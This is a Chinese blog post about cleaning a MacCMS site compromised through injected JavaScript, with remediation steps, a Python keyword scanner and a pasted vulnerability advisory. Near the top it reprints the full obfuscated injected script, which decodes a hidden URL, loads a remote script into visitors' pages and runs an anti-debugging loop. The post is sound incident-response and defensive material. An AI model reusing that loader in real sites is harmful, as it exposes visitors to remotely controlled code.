一次升级引发的惨案:苹果CMS被植入恶意JS的排查、修复与预防

一、起因

某天手滑点了后台提示的「升级版本」,苹果CMS(maccms)被升级。
升级后发现官方 不支持回退版本,于是:

  • 用 Python 脚本检测所有修改时间接近的文件
  • 用旧备份覆盖这些文件
  • 网站恢复正常运行

直到两个月后,我突然在模板 JS 末尾发现多了一段可疑脚本:

function xxSJRox(e){var t = "",n = r = c1 = c2 = 0;while (n < e.length){r = e.charCodeAt(n);if (r < 128){t += String.fromCharCode(r);n++}else if (r > 191 && r < 224){c2 = e.charCodeAt(n + 1);t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2}else{c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);n += 3}}return t}function aPnDhiTia(e){var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t = "",n,r,i,s,o,u,a,f = 0;e = e.replace(/[^A-Za-z0-9+/=]/g,"");while (f < e.length){s = m.indexOf(e.charAt(f++));o = m.indexOf(e.charAt(f++));u = m.indexOf(e.charAt(f++));a = m.indexOf(e.charAt(f++));n = s << 2 | o >> 4;r = (o & 15) << 4 | u >> 2;i = (u & 3) << 6 | a;t = t + String.fromCharCode(n);if (u != 64){t = t + String.fromCharCode(r)}if (a != 64){t = t + String.fromCharCode(i)}}return xxSJRox(t)}eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function(){;(function(u,r,w,d,f,c){var x = aPnDhiTia;u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c,'g'),c)));'jQuery';k = r[2] + 'c' + f[1];'Flex';v = k + f[6];var s = d.createElement(v + c[0] + c[1]),g = function(){};s.type = 'text/javascript';{s.onload = function(){g()}}s.src = u;'CSS';d.getElementsByTagName('head')[0].appendChild(s)})('aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==','FgsPmaNtZ',window,document,'jrGYBsijJU','ptbnNbK')};if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV();setInterval(function(){debugger;},100); /*138ae887806f*/function xxSJRox(e){...} function aPnDhiTia(e){...} eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function(){...} if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV(); setInterval(function(){debugger;},100); /*138ae887806f*/

起初我以为是模板内置的反调试,但几天后仍觉得不对劲,于是查看早期备份发现没有这段代码。

Google 关键词 “138ae887806f” “xxSJRox” 发现多起类似案例,甚至苹果CMS官方 GitHub 也有人反馈:https://github.com/magicblack/maccms10/issues/1268

进一步分析混淆代码,逻辑上好像没有什么危害,但有人反馈会跳转到x站,个人感觉这个是51统计的锅。我自己测试该代码没有跳转,但 这段代码会不断写入所有模板文件末尾,行为可疑,也非常没有安全感。

二、解决方案:禁止升级 + 清除后门 + 修复模板
① 禁用后台升级提示

删除以下文件:

/application/admin/controller/Update.php 

同时注释或删除 /application/admin/controller/Safety.php 内远程文件检查逻辑:

// 注释掉远程文件检查功能
// $url = base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") ."v10/mac_files_".config('version')['code'].'.html';
// $html = mac_curl_get($url);
// $json = json_decode($html,true);
// if(!$json){
//     return $this->error(lang('admin/safety/file_msg1'));
// }

② 移除后台首页升级提示按钮

编辑:

/application/admin/view/index/welcome.html

删除以下 HTML:

{if condition="$update_sql"} <table class="tbinfo ..."> ... </table> {/if}

③ 删除注入升级脚本的JS代码

编辑:

/static/js/admin_common.js

删除整段 eval(function(p,a,c,k,e,r){…}) 相关的动态脚本加载逻辑,例如:

$(function(){ if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) { eval(function(p,a,c,k,e,r){...}); } });

④ 修改版本号,避免后台再次提示升级

编辑:

/application/extra/version.php

把版本号改成虚构的大版本:

<?php return [ 'code' => '2049.1000.9999', ];

三、清理被植入的恶意JS

查看并修复 /application/extra/addons.php

未启用插件时正常文件内容如下:

<?php

return array (
  'autoload' => false,
  'hooks' => 
  array (
  ),
  'route' => 
  array (
  ),
);

若该文件大小为 20-30KB 且结构复杂,基本可判定已被植入恶意代码

删除恶意后门文件(如果存在):

/application/extra/system.php 
/application/extra/active.php

⚠️ 注意:如果不先修复 addons.php,这两个文件删除后会自动重生,而且实测宝塔防篡改也拦不住。

删除模板中所有被插入的恶意 JS 代码

可用 python 搜索 138ae887806f 关键词排查。


import os

# 要搜索的目录,当前目录用 "."
SEARCH_DIR = "."
# 要查找的关键字
KEYWORD = "138ae887806f"  # 关键词1:138ae887806f 关键词2:xxSJRox

def search_js_files(root_dir, keyword):
    """
    遍历目录下所有 js 文件,检查是否包含关键字
    """
    matches = []  # 存放匹配到的文件
    
    for root, _, files in os.walk(root_dir):
        for file in files:
            if file.endswith(".js"):
                file_path = os.path.join(root, file)
                try:
                    with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
                        content = f.read()
                        if keyword in content:
                            matches.append(file_path)
                            print(f"🔍 发现关键字: {file_path}")
                except Exception as e:
                    print(f"⚠️ 无法读取文件: {file_path}, 错误: {e}")
    
    if not matches:
        print("✅ 没有发现包含关键字的 js 文件")
    else:
        print("\n📌 共发现以下文件包含关键字:")
        for m in matches:
            print(f"   - {m}")

if __name__ == "__main__":
    print(f"🚀 开始扫描目录: {SEARCH_DIR}, 关键字: {KEYWORD}\n")
    search_js_files(SEARCH_DIR, KEYWORD)

 

另外找到一则安全通告也贴出来,可以参考:

# MACCMS 后台存在高危漏洞安全通告

## 📌 漏洞概述

MACCMS 存在无需鉴权即可操作后台的高危漏洞,最早可影响 2022 年起的多个版本。目前该漏洞尚未被修复,多个网站已遭受攻击。

## 🧨 已知攻击者特征

### 攻击者一:插件伪装入侵,篡改 JS 文件

涉及文件:
- {网站目录}/application/extra/addons.php

判定方式:
如果未启用插件,正常文件内容如下:

<?php
return array (
  'autoload' => false,
  'hooks' => array (),
  'route' => array (),
);

若该文件大小为 20-30KB 且结构复杂,基本可判定已被植入恶意代码。

攻击行为:
修改所有 JS 文件:
- {网站根目录}/static/js/ 下所有 .js 文件
- {网站根目录}/template/主题文件/ 下所有 .js 文件

感染特征: 在 JS 文件末尾加入加密 JavaScript 木马代码

检查方式:
1. 逐个检查 JS 文件的时间戳
2. 打开 JS 文件并滚动至底部,若发现不明加密代码(风格不一致),即为感染
3. 可将代码复制到 ChatGPT 或 AI 工具进行解密分析

处理方法:
1. 用干净版本的 addons.php 文件覆盖原文件(注意:如启用了插件,替换可能导致插件失效)
2. 删除或还原被篡改的 JS 文件
3. 清理 CDN 缓存,防止病毒代码继续传播

### 攻击者二:伪装配置木马,尝试提权

涉及文件(出现即为中招):
- {网站根目录}/application/extra/active.php
- {网站根目录}/application/extra/system.php

攻击行为:
- system.php 文件在初次执行后会释放更复杂的木马代码,然后自动清除自身以隐藏痕迹
- 木马尝试提权,如 PHP 允许 `shell_exec`,攻击者可进一步控制服务器甚至重装系统

后期感染方式包括:
- 随机插入恶意跳转代码至 HTML 页面
- 隐匿式后门

处理方法:
1. 立即删除上述两个文件,不会影响正常业务
2. 检查:
   - {网站根目录}/static/js/ 所有 JS 文件
   - {网站根目录}/template/主题文件/ 所有 JS 文件
   
   若被篡改,请及时恢复干净版本

## 🔒 加固建议(防止再次被入侵)

### ✅ 关闭无用功能
如果网站不需要用户登录或 POST 请求:
- 禁止所有 POST 请求
- 可在 CDN / Cloudflare / 本地 NGINX 层拦截

### ✅ 限制敏感链接
如业务必须使用 POST(如登录、注册等):
- 拦截所有包含 admin 的 URL 的 POST 请求
- 自定义规则强化安全策略

### ✅ 开启安全防护
- 启用宝塔面板防篡改
- 或使用命令行工具 chattr 锁定关键目录:

> 注意:+i 后文件无法被修改,部署更新前需执行 chattr -i

发表评论